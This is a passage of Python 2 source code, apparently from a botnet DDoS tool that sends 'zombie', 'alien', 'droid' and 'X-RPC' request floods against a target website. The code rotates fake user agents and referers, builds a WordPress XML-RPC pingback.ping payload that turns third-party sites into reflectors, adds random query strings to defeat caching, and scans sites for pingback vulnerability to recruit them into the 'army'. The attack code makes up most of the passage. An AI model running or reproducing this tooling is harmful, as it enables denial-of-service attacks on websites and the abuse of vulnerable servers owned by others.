  2709. param_target = {p : target} # ex POST -> url=target
  2710. param_target = urllib.urlencode(param_target)
  2711. try:
  2712. if options.verbose:
  2713. print "[Info] [Aliens] Sniping: " + url + " - POST:", param_target
  2714. if options.proxy: # set proxy
  2715. self.proxy_transport(options.proxy)
  2716. if self.options.timeout: # set timeout
  2717. try:
  2718. alien_timeout = int(self.options.timeout)
  2719. except:
  2720. alien_timeout = 1
  2721. else:
  2722. alien_timeout = 1
  2723. if alien_timeout < 1:
  2724. alien_timeout = 1
  2725. req = urllib2.Request(url, param_target)
  2726. rsp = urllib2.urlopen(req, context=self.ctx, timeout=alien_timeout)
  2727. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  2728. except Exception:
  2729. print "[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)"
  2730. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2731. if not self.options.disablepurge:
  2732. self.discard_aliens.append(alien)
  2733. self.num_discard_aliens = self.num_discard_aliens + 1
  2734. else:
  2735. print("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)")
  2736. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2737. if not self.options.disablepurge:
  2738. self.discard_aliens.append(alien)
  2739. self.num_discard_aliens = self.num_discard_aliens + 1
  2740. if self.options.verbose:
  2741. print "[Info] [AI] [Aliens] "+str(name_alien)+" is returning..."
  2742. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  2743. self.extra_zombies_lock = False # [ARMY] have finished
  2744. def extract_aliens(self):
  2745. # extract aliens from file
  2746. options = self.options
  2747. try:
  2748. f = open(self.aliens_file)
  2749. aliens = f.readlines()
  2750. aliens = [ alien.replace('\n','') for alien in aliens ]
  2751. f.close()
  2752. if not aliens:
  2753. print "[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2754. self.options.disablealiens = True
  2755. return
  2756. else:
  2757. return aliens
  2758. except:
  2759. if os.path.exists(self.aliens_file) == True:
  2760. print "[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2761. return #sys.exit(2)
  2762. else:
  2763. print "[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2764. return #sys.exit(2)
  2765. def discarding_droids(self, droid, droids):
  2766. if droid in self.discard_droids:
  2767. droids.remove(droid)
  2768. if self.options.verbose:
  2769. print("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]")
  2770. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2771. return droids
  2772. def send_droids(self, droids):
  2773. # extract external web abuse services urls (GET) and perform requests against target
  2774. time.sleep(3) # aiming (multi-threading flow time compensation)
  2775. if not self.options.disablepurge:
  2776. if not droids: # return when not any working
  2777. self.options.disabledroids = True
  2778. return
  2779. target = self.options.target
  2780. target = urllib.unquote(target).decode('utf8') # parte urlencoding
  2781. if target.startswith('http://'): # remove http
  2782. target = target.replace('http://', '')
  2783. if target.startswith('https://'):
  2784. target = target.replace('https://', '') # remove https
  2785. options = self.options
  2786. shuffle(droids) # shuffle droids
  2787. if not self.options.disablepurge:
  2788. for droid in droids:
  2789. if not droid.startswith('http'): # discarded inmediately
  2790. self.discard_droids.append(droid)
  2791. self.num_discard_droids = self.num_discard_droids + 1
  2792. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  2793. if not self.options.disablepurge:
  2794. if not droids: # return when not any working
  2795. self.options.disabledroids = True
  2796. return
  2797. shuffle(droids) # shuffle droids order, each discarding check :-)
  2798. for droid in droids:
  2799. if "$TARGET" in droid: # replace droid/parameter for target
  2800. url = droid.replace("$TARGET", target)
  2801. t = urlparse(url)
  2802. name_droid = t.netloc
  2803. if name_droid == "":
  2804. name_droid = droid
  2805. print "[Info] [Droids] Attacking from: " + name_droid
  2806. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2807. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  2808. try:
  2809. if options.proxy: # set proxy
  2810. self.proxy_transport(options.proxy)
  2811. if self.options.timeout: # set timeout
  2812. try:
  2813. droid_timeout = int(self.options.timeout)
  2814. except:
  2815. droid_timeout = 1
  2816. else:
  2817. droid_timeout = 1
  2818. if droid_timeout < 1:
  2819. droid_timeout = 1
  2820. req = urllib2.Request(url, None, headers)
  2821. rsp = urllib2.urlopen(req, context=self.ctx, timeout=droid_timeout)
  2822. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  2823. except Exception:
  2824. print "[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)"
  2825. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2826. if not self.options.disablepurge:
  2827. self.discard_droids.append(droid)
  2828. self.num_discard_droids = self.num_discard_droids + 1
  2829. else:
  2830. print "[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)"
  2831. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2832. if not self.options.disablepurge:
  2833. self.discard_droids.append(droid)
  2834. self.num_discard_droids = self.num_discard_droids + 1
  2835. if self.options.verbose:
  2836. print "[Info] [AI] [Droids] "+str(name_droid)+" is returning..."
  2837. if self.options.disablerpcs and self.options.disableucavs:
  2838. self.extra_zombies_lock = False # [ARMY] have finished
  2839. def extract_droids(self):
  2840. # extract droids from file
  2841. options = self.options
  2842. try:
  2843. f = open(self.droids_file)
  2844. droids = f.readlines()
  2845. droids = [ droid.replace('\n','') for droid in droids ]
  2846. f.close()
  2847. if not droids:
  2848. print "[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2849. self.options.disabledroids = True
  2850. return
  2851. else:
  2852. return droids
  2853. except:
  2854. if os.path.exists(self.droids_file) == True:
  2855. print "[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2856. return #sys.exit(2)
  2857. else:
  2858. print "[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]"
  2859. return #sys.exit(2)
  2860. def discarding_rpcs(self, rpc, rpcs):
  2861. if rpc in self.discard_rpcs:
  2862. rpcs.remove(rpc)
  2863. if self.options.verbose:
  2864. print("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]")
  2865. return rpcs
  2866. def send_rpcs(self, rpcs):
  2867. # extract vulnerable XML-RPC pingback services and perform requests against target
  2868. time.sleep(4) # aiming (multi-threading flow time compensation)
  2869. if not self.options.disablepurge:
  2870. if not rpcs: # return when not any working
  2871. self.options.disablerpcs = True
  2872. return
  2873. target = self.options.target
  2874. options = self.options
  2875. def random_key(length):
  2876. key = ''
  2877. for i in range(length):
  2878. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2879. return key
  2880. shuffle(rpcs) # shuffle rpcs
  2881. if not self.options.disablepurge:
  2882. for rpc in rpcs:
  2883. if not rpc.startswith('http'): # discarded inmediately
  2884. if not self.options.disablepurge:
  2885. self.discard_rpcs.append(rpc)
  2886. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2887. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2888. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  2889. if not self.options.disablepurge:
  2890. if not rpcs: # return when not any working
  2891. self.options.disablerpcs = True
  2892. return
  2893. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  2894. for rpc in rpcs:
  2895. t = urlparse(rpc)
  2896. name_rpc = t.netloc
  2897. if name_rpc == "":
  2898. name_rpc = rpc
  2899. print "[Info] [X-RPCs] Attacking from: " + name_rpc
  2900. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2901. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2902. key = random_key(8) # generate random value page to bypass cache
  2903. rpc_page = "?" + str(key)
  2904. key = random_key(6) # re-generate random value id to bypass cache
  2905. rpc_id = "=" + str(key)
  2906. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  2907. if "/xmlrpc.php" in rpc:
  2908. rpc_place = rpc.replace("xmlrpc.php", "")
  2909. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  2910. try:
  2911. if options.proxy: # set proxy
  2912. self.proxy_transport(options.proxy)
  2913. if self.options.timeout: # set timeout
  2914. try:
  2915. rpc_timeout = int(self.options.timeout)
  2916. except:
  2917. rpc_timeout = 1
  2918. else:
  2919. rpc_timeout = 1
  2920. if rpc_timeout < 1:
  2921. rpc_timeout = 1
  2922. req = urllib2.Request(rpc, rpc_exploit, headers)
  2923. urllib2.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  2924. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  2925. if self.options.verbose:
  2926. print "[Info] [X-RPCs] Reply:", target_reply
  2927. except:
  2928. print "[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)"
  2929. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2930. if not self.options.disablepurge:
  2931. self.discard_rpcs.append(rpc)
  2932. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2933. else:
  2934. print "[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)"
  2935. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2936. if not self.options.disablepurge:
  2937. self.discard_rpcs.append(rpc)
  2938. self.num_discard_rpcs = self.num_discard_rpcs + 1
  2939. if self.options.verbose:
  2940. print "[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning..."
  2941. if self.options.disableucavs:
  2942. self.extra_zombies_lock = False # [ARMY] have finished
  2943. def extract_rpcs(self):
  2944. # extract rpcs from file
  2945. options = self.options
  2946. try:
  2947. f = open(self.rpcs_file)
  2948. rpcs = f.readlines()
  2949. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  2950. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  2951. f.close()
  2952. if not rpcs:
  2953. print "[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]"
  2954. self.options.disablerpcs = True
  2955. return
  2956. else:
  2957. return rpcs
  2958. except:
  2959. if os.path.exists(self.rpcs_file) == True:
  2960. print "[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]"
  2961. return
  2962. else:
  2963. print "[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]"
  2964. return
  2965. def extract_zombies(self):
  2966. options = self.options
  2967. if self.options.test:
  2968. try:
  2969. f = open(options.test)
  2970. zombies = f.readlines()
  2971. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2972. f.close()
  2973. if not zombies:
  2974. print "\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2975. return
  2976. else:
  2977. return zombies
  2978. except:
  2979. if os.path.exists(options.test) == True:
  2980. print "\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2981. return #sys.exit(2)
  2982. else:
  2983. print "\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2984. return #sys.exit(2)
  2985. else:
  2986. try:
  2987. f = open(self.zombies_file)
  2988. zombies = f.readlines()
  2989. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2990. f.close()
  2991. if not zombies:
  2992. print "\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2993. return
  2994. else:
  2995. return zombies
  2996. except:
  2997. if os.path.exists(self.zombies_file) == True:
  2998. print "\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  2999. return #sys.exit(2)
  3000. else:
  3001. print "\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n"
  3002. return #sys.exit(2)
  3003. def extract_target_list(self):
  3004. options = self.options
  3005. try:
  3006. f = open(options.target_list)
  3007. targets = f.readlines()
  3008. targets = [ target.replace('\n','') for target in targets ]
  3009. f.close()
  3010. if not targets:
  3011. print "\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  3012. return
  3013. else:
  3014. return targets
  3015. except:
  3016. if os.path.exists(options.target_list) == True:
  3017. print "\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  3018. return #sys.exit(2)
  3019. else:
  3020. print "\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n"
  3021. return #sys.exit(2)
  3022. def update_zombies(self, zombies_ready):
  3023. # update zombies on file
  3024. options = self.options
  3025. if options.attackme:
  3026. f = open(self.zombies_file, "w") # re-write list
  3027. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3028. for x in zombie:
  3029. f.write(str(x) + os.linesep)
  3030. f.close()
  3031. if options.test or options.testall:
  3032. if not options.test:
  3033. options.test = self.zombies_file
  3034. f = open(options.test, "w") # re-write list only with zombies ready
  3035. for zombie in zombies_ready:
  3036. f.write(zombie + os.linesep)
  3037. f.close()
  3038. if options.search or options.dorks or options.autosearch or options.download: # append only new zombies to list (dorking supported)
  3039. f = open(self.zombies_file)
  3040. zombies_on_file = f.read().splitlines()
  3041. with open(self.zombies_file, "a") as zombie_list:
  3042. for zombie in zombies_ready:
  3043. if zombie not in zombies_on_file: # parse possible repetitions
  3044. zombie_list.write(zombie + os.linesep)
  3045. if options.download:
  3046. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3047. else:
  3048. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3049. f.close()
  3050. def update_aliens(self, aliens_ready):
  3051. # update aliens on file
  3052. options = self.options
  3053. if options.download: # append only new aliens to list
  3054. f = open(self.aliens_file)
  3055. aliens_on_file = f.read().splitlines()
  3056. with open(self.aliens_file, "a") as alien_list:
  3057. for alien in aliens_ready:
  3058. if alien not in aliens_on_file: # parse possible repetitions
  3059. alien_list.write(alien + os.linesep)
  3060. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3061. f.close()
  3062. def update_droids(self, droids_ready):
  3063. # update droids on file
  3064. options = self.options
  3065. if options.download: # append only new droids to list
  3066. f = open(self.droids_file)
  3067. droids_on_file = f.read().splitlines()
  3068. with open(self.droids_file, "a") as droid_list:
  3069. for droid in droids_ready:
  3070. if droid not in droids_on_file: # parse possible repetitions
  3071. droid_list.write(droid + os.linesep)
  3072. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3073. f.close()
  3074. def update_ucavs(self, ucavs_ready):
  3075. # update ucavs on file
  3076. options = self.options
  3077. if options.download: # append only new ucavs to list
  3078. f = open(self.ucavs_file)
  3079. ucavs_on_file = f.read().splitlines()
  3080. with open(self.ucavs_file, "a") as ucav_list:
  3081. for ucav in ucavs_ready:
  3082. if ucav not in ucavs_on_file: # parse possible repetitions
  3083. ucav_list.write(ucav + os.linesep)
  3084. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3085. f.close()
  3086. def update_rpcs(self, rpcs_ready):
  3087. # update rpcs on file
  3088. options = self.options
  3089. if options.testrpc or options.testall:
  3090. f = open(self.rpcs_file, "w") # re-write list
  3091. for rpc in rpcs_ready: # add only rpc verified zombies
  3092. f.write(rpc + os.linesep)
  3093. f.close()
  3094. if options.download: # append only new rpcs to list
  3095. f = open(self.rpcs_file)
  3096. rpcs_on_file = f.read().splitlines()
  3097. with open(self.rpcs_file, "a") as rpc_list:
  3098. for rpc in rpcs_ready:
  3099. if rpc not in rpcs_on_file: # parse possible repetitions
  3100. rpc_list.write(rpc + os.linesep)
  3101. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3102. f.close()
  3103. def search_rpc(self, rpc_host):
  3104. options = self.options
  3105. rpc_vulnerable = False
  3106. rpc_pingback_url = False
  3107. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3108. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3109. try:
  3110. if self.options.testall: # testing_all
  3111. if options.proxy: # set proxy
  3112. self.proxy_transport(options.proxy)
  3113. req = urllib2.Request(rpc_host, None, headers)
  3114. rpc_code = urllib2.urlopen(req, context=self.ctx).read()
  3115. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3116. for link in rpc_links:
  3117. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3118. rpc_pingback_url = link[0]
  3119. rpc_vulnerable = True
  3120. break # found it!
  3121. else: # not any XML-RPC discovering methods are working
  3122. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3123. rpc_vulnerable = False
  3124. else:
  3125. if rpc_host.startswith("http://"):
  3126. rpc_host = rpc_host.replace("http://", "")
  3127. if rpc_host.startswith("https://"):
  3128. rpc_host = rpc_host.replace("https://", "")
  3129. rpc_host = urlparse(rpc_host)
  3130. rpc_path = rpc_host.path.replace("\r", "")
  3131. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3132. reply = self.connect_zombie(rpc_path)
  3133. self.head = False
  3134. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3135. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3136. rpc_pingback_url = m.group(1) # extract rpc server url
  3137. rpc_vulnerable = True
  3138. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3139. if options.proxy: # set proxy
  3140. self.proxy_transport(options.proxy)
  3141. req_rpc = urllib2.Request(rpc_host, None, headers)
  3142. req_rpc.get_method = lambda : 'GET'
  3143. rpc_code = urllib2.urlopen(req_rpc, context=self.ctx).read()
  3144. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3145. for link in rpc_links:
  3146. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3147. rpc_pingback_url = link[0]
  3148. rpc_vulnerable = True
  3149. break # found it!
  3150. else: # not any XML-RPC discovering methods are working
  3151. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3152. rpc_vulnerable = False
  3153. except: # something wrong discovering XML-RPC Pingback
  3154. pass
  3155. return rpc_vulnerable, rpc_pingback_url
  3156. def testing_offline(self):
  3157. # check for zombies offline
  3158. print ("\nChecking for [Zombies] offline!\n")
  3159. print '='*35
  3160. zombies_online = 0
  3161. zombies_offline = 0
  3162. zombies = self.extract_zombies()
  3163. rpcs = self.extract_rpcs()
  3164. aliens = self.extract_aliens()
  3165. droids = self.extract_droids()
  3166. ucavs = self.extract_ucavs()
  3167. try:
  3168. botnet = zombies + rpcs + aliens + droids + ucavs
  3169. except:
  3170. return
  3171. discarded = [] # for discarded zombies
  3172. if not botnet:
  3173. return
  3174. self.head = True
  3175. for zombie in botnet:
  3176. zombie = str(zombie)
  3177. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3178. zombie_type = 'Zombie'
  3179. elif zombie in rpcs:
  3180. zombie_type = 'XML-RPC'
  3181. elif zombie in aliens:
  3182. zombie_type = 'Alien'
  3183. elif zombie in droids:
  3184. zombie_type = 'Droid'
  3185. elif zombie in ucavs:
  3186. zombie_type = 'UCAV'
  3187. t = urlparse(zombie)
  3188. name_zombie = t.netloc
  3189. if name_zombie == "":
  3190. name_zombie = zombie
  3191. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3192. sep = ';$POST;'
  3193. zombie = zombie.split(sep, 1)[0]
  3194. reply = str(self.connect_zombie(zombie))
  3195. if reply == "200" or reply == "302" or reply == "301" or reply == "401" or reply == "403" or reply == "405" or reply == '500':
  3196. status = "ONLINE!"
  3197. zombies_online = zombies_online + 1
  3198. else:
  3199. status = "NOT Working!"
  3200. zombies_offline = zombies_offline + 1
  3201. print "\nName:", name_zombie
  3202. print "Type: [", zombie_type, "]"
  3203. print "Vector:", zombie
  3204. print "HTTP Code:", reply
  3205. print "STATUS:", status
  3206. print '-'*21
  3207. if status == "NOT Working!": # add to discarded zombies
  3208. if zombie not in discarded:
  3209. discarded.append(zombie)
  3210. print "\n" + '='*52
  3211. print "\n+ Total Botnet:", len(botnet)
  3212. print "\n" + '-'*25 + "\n"
  3213. print " - ONLINE:", zombies_online
  3214. print " - OFFLINE:", zombies_offline, "\n"
  3215. print '='*52 + '\n'
  3216. self.head = False
  3217. if zombies_offline > 0:
  3218. if not self.options.forceyes:
  3219. test_reply = raw_input("[AI] Do you want to update your army? (Y/n)\n")
  3220. print '-'*25 + "\n"
  3221. else:
  3222. test_reply = "Y"
  3223. if test_reply == "n" or test_reply == "N":
  3224. print "[AI] "+self.exit_msg+"\n"
  3225. return
  3226. else:
  3227. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3228. print '='*52
  3229. print "\n - DISCARDED:", disc_zombies
  3230. new_botnet = int(len(botnet) - disc_zombies)
  3231. print "\n+ New Total Botnet:", str(new_botnet), "\n"
  3232. print '='*52 + '\n'
  3233. else:
  3234. print "[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n"
  3235. def send_extra_zombies(self):
  3236. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3237. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3238. if self.options.verbose:
  3239. print "[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons..."
  3240. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3241. for a in aliens:
  3242. if a is None:
  3243. self.options.disablealiens = True
  3244. self.total_aliens = 0 # not any alien invoked
  3245. else:
  3246. for s in a: # extract number of aliens
  3247. self.total_aliens = self.total_aliens + 1
  3248. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3249. al.start()
  3250. else:
  3251. self.options.disablealiens = True
  3252. self.total_aliens = 0 # not any alien invoked
  3253. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3254. if self.options.verbose:
  3255. print "[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons..."
  3256. droids = [self.extract_droids()] # extract droids from file to a list
  3257. for d in droids:
  3258. if d is None:
  3259. self.options.disabledroids = True
  3260. self.total_droids = 0 # not any droid invoked
  3261. else:
  3262. for s in d: # extract number of droids
  3263. self.total_droids = self.total_droids + 1
  3264. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3265. dr.start()
  3266. else:
  3267. self.options.disabledroids = True
  3268. self.total_droids = 0 # not any droid invoked
  3269. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3270. if self.options.verbose:
  3271. print "[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons..."
  3272. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3273. for r in rpcs:
  3274. if r is None:
  3275. self.options.disablerpcs = True
  3276. self.total_rpcs = 0 # not any rpc invoked
  3277. else:
  3278. for s in r: # extract number of rpcs
  3279. self.total_rpcs = self.total_rpcs + 1
  3280. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3281. rp.start()
  3282. else:
  3283. self.options.disablerpcs = True
  3284. self.total_rpcs = 0 # not any rpcs invoked
  3285. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3286. if self.options.verbose:
  3287. print "[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners..."
  3288. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3289. for u in ucavs:
  3290. if u is None:
  3291. self.options.disableucavs = True
  3292. self.total_ucavs = 0 # not any ucav invoked
  3293. else:
  3294. for s in u: # extract number of ucavs
  3295. self.total_ucavs = self.total_ucavs + 1
  3296. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3297. uc.start()
  3298. else:
  3299. self.options.disableucavs = True
  3300. self.total_ucavs = 0 # not any ucavs invoked
  3301. def abandoning_zombies(self):
  3302. if self.options.expire: # set timing for purge
  3303. try:
  3304. timing = int(self.options.expire)
  3305. except:
  3306. timing = self.expire_timing # default timing for purge
  3307. else:
  3308. timing = self.expire_timing # default timing for purge
  3309. if timing < 1:
  3310. timing = self.expire_timing # default timing for purge
  3311. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3312. zombies_lock = 0
  3313. if self.options.verbose:
  3314. print "[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return..."
  3315. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3316. zombies_lock = zombies_lock + 1
  3317. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3318. if self.options.verbose:
  3319. print "\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]"
  3320. break
  3321. else:
  3322. time.sleep(1)
  3323. def discard_zombies(self, discarded):
  3324. disc_zombies = 0
  3325. if self.options.testoffline:
  3326. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3327. else:
  3328. zombies_list = [self.zombies_file]
  3329. if not self.options.disablealiens: # add aliens
  3330. zombies_list.append(self.aliens_file)
  3331. if not self.options.disabledroids: # add droids
  3332. zombies_list.append(self.droids_file)
  3333. if not self.options.disablerpcs: # add rpcs
  3334. zombies_list.append(self.rpcs_file)
  3335. if not self.options.disableucavs: # add ucavs
  3336. zombies_list.append(self.ucavs_file)
  3337. for l in zombies_list:
  3338. f = open(l, "r+")
  3339. d = f.readlines()
  3340. f.close()
  3341. f = open(l, "w")
  3342. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3343. f.close()
  3344. return disc_zombies
  3345. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3346. m = []
  3347. for zombie in d:
  3348. if zombie not in discarded == True:
  3349. m.append(zombie) # save it
  3350. else:
  3351. disc_zombies = disc_zombies + 1
  3352. if not m:
  3353. f.write("")
  3354. else:
  3355. for z in m:
  3356. f.write(z+os.linesep)
  3357. return disc_zombies
  3358. def testing_rpcs(self, rpcs):
  3359. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  3360. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  3361. options = self.options
  3362. if self.options.testall: #testing_all
  3363. print '='*51
  3364. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  3365. print '='*51
  3366. num_active_rpcs = 0
  3367. num_failed_rpcs = 0
  3368. rpcs_ready = []
  3369. print "Trying:", len(rpcs)
  3370. print '-'*21
  3371. for rpc in rpcs:
  3372. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3373. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3374. if rpc.startswith("http://") or rpc.startswith("https://"):
  3375. print "[Info] [X-RPCs] Searching 'Pingback' on", rpc
  3376. rpc_host = rpc.replace("/xmlrpc.php", "")
  3377. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  3378. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  3379. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  3380. try:
  3381. if options.proxy: # set proxy
  3382. self.proxy_transport(options.proxy)
  3383. req = urllib2.Request(rpc_pingback_url, rpc_methods, headers)
  3384. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  3385. if self.options.verbose:
  3386. print "[Info] [X-RPCs] Reply:", target_reply
  3387. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  3388. print "\n[Info] [AI] It looks VULNERABLE! ;-)"
  3389. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  3390. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  3391. else:
  3392. print "\n[Info] [AI] It is NOT vulnerable..."
  3393. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3394. except:
  3395. print "[Info] [X-RPCs] " + rpc + " -> FAILED (cannot connect!)"
  3396. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3397. else:
  3398. print "\n[Info] [AI] It is NOT vulnerable..."
  3399. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  3400. print '-'*10
  3401. print '='*18
  3402. print "OK:", num_active_rpcs, "Fail:", num_failed_rpcs
  3403. print '='*18
  3404. if self.options.testall: # testing_all
  3405. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  3406. else:
  3407. # update 'rpcs' list
  3408. if num_active_rpcs == 0:
  3409. print "\n[Info] [X-RPCs] Not any vulnerable 'rpc' active!\n"
  3410. return
  3411. else:
  3412. if not self.options.forceyes:
  3413. update_reply = raw_input("[AI] Do you want to update your army? (Y/n)")
  3414. print '-'*25
  3415. else:
  3416. update_reply = "Y"
  3417. if update_reply == "n" or update_reply == "N":
  3418. print "[AI] "+self.exit_msg+"\n"
  3419. return
  3420. else:
  3421. self.update_rpcs(rpcs_ready)
  3422. if not self.options.upload:
  3423. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3424. def testing(self, zombies):
